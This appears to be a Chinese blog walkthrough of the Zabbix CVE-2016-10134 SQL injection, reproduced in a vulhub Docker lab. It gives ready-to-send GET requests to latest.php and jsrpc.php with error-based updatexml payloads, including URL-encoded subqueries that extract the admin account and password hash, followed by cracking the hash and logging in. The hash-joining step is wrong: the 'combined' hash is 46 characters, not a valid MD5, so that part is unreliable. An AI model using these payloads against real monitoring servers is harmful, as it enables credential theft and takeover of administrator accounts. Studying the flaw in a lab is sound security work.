枕上从妨一夜睡,灯前读尽十年诗。这篇文章主要讲述Zabbix latest.php SQL注入漏洞(CVE-2016-10134)相关的知识,希望能为你提供帮助。
漏洞描述
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]和jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。
安全等级
高
影响版本
zabbix 2.2.x,3.0.0-3.0.3
影响版本
及时更新zabbix至最新版
环境搭建
使用vulhub中的漏洞环境进行测试
启动成功后访问??http://yourip:8080/??
具体的端口用docker ps命令进行查看,一般是8080
cd /vulhub/zabbix/CVE-2016-10134
docker-compose up -d
docker ps
测试示例
该版本的zabbix默认开启guest账号登录,使用guest可以免密登录
使用burp抓包,将zbx_sessionid的后16位字符做为sid值
得到sid=7b9d88abb06c0fc4
构造语句判断是否存在漏洞,使用burp发送,在返回内容出现ip信息即漏洞存在
GET /latest.php?output=ajax& sid=7b9d88abb06c0fc4& favobj=toggle& toggle_open_state=1& toggle_ids[]=updatexml(0,concat(0xa,user()),0)
【Zabbix latest.php SQL注入漏洞(CVE-2016-10134)】
构造sql语句获取用户名和密码
在burp里将sql查询语句进行url编码,最好用burp里的编码工具,网页上的可能没办法对全部字符进行编码
右边选择encode-url
(select concat(alias,0x7e,passwd) from zabbix.users limit 0,1)
url编码后为:
%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%70%61%73%73%77%64%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29
将编码的内容放在"0x7e,"后,burp发送请求内容如下:
GET /jsrpc.php?type=0& mode=1& method=screen.get& profileIdx=web.item.graph& resourcetype=17& profileIdx2=
updatexml(0,concat(0x7e,%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%70%61%73%73%77%64%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29),0
返回内容里发现账号和密码hash,Admin~5fce1b3e34b520afeffb37ce0,但是密码hash长度不对
修改sql语句获取后半段密码hash
(select concat(alias,0x7e,mid(passwd,12,32)) from zabbix.users limit 0,1)
url编码后为
%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%6d%69%64%28%70%61%73%73%77%64%2c%31%32%2c%33%32%29%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29
burp发送请求内容如下:
GET /jsrpc.php?type=0& mode=1& method=screen.get& profileIdx=web.item.graph& resourcetype=17& profileIdx2=
updatexml(0,concat(0x7e,%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%61%6c%69%61%73%2c%30%78%37%65%2c%6d%69%64%28%70%61%73%73%77%64%2c%31%32%2c%33%32%29%29%20%66%72%6f%6d%20%7a%61%62%62%69%78%2e%75%73%65%72%73%20%6c%69%6d%69%74%20%30%2c%31%29),0) HTTP/1.1
获取到后半段的hash,520afeffb37ce08c7cd66
将两段hash结合后为:
5fce1b3e34b520afeffb37ce0520afeffb37ce08c7cd66
md5值解密后为zabbix
使用账号Admin/zabbix登录成功
推荐阅读
- 当容器= false时删除WordPress包装器Div失败
- 基于STM32的IAP升级程序
- 路由基础之RIP的水平分割及触发更新
- Oracle Data Guard系列(单机环境基于拷贝文件方式搭建DG)
- python之uWSGI和WSGI
- PDManer [元数建模]-v4.0 (一款简单好用的数据库建模平台)
- Docker下RabbitMQ四部曲之三(细说java开发)
- 高级程序员与初级程序员差别在哪里()
- Docker下RabbitMQ四部曲之四(高可用实战)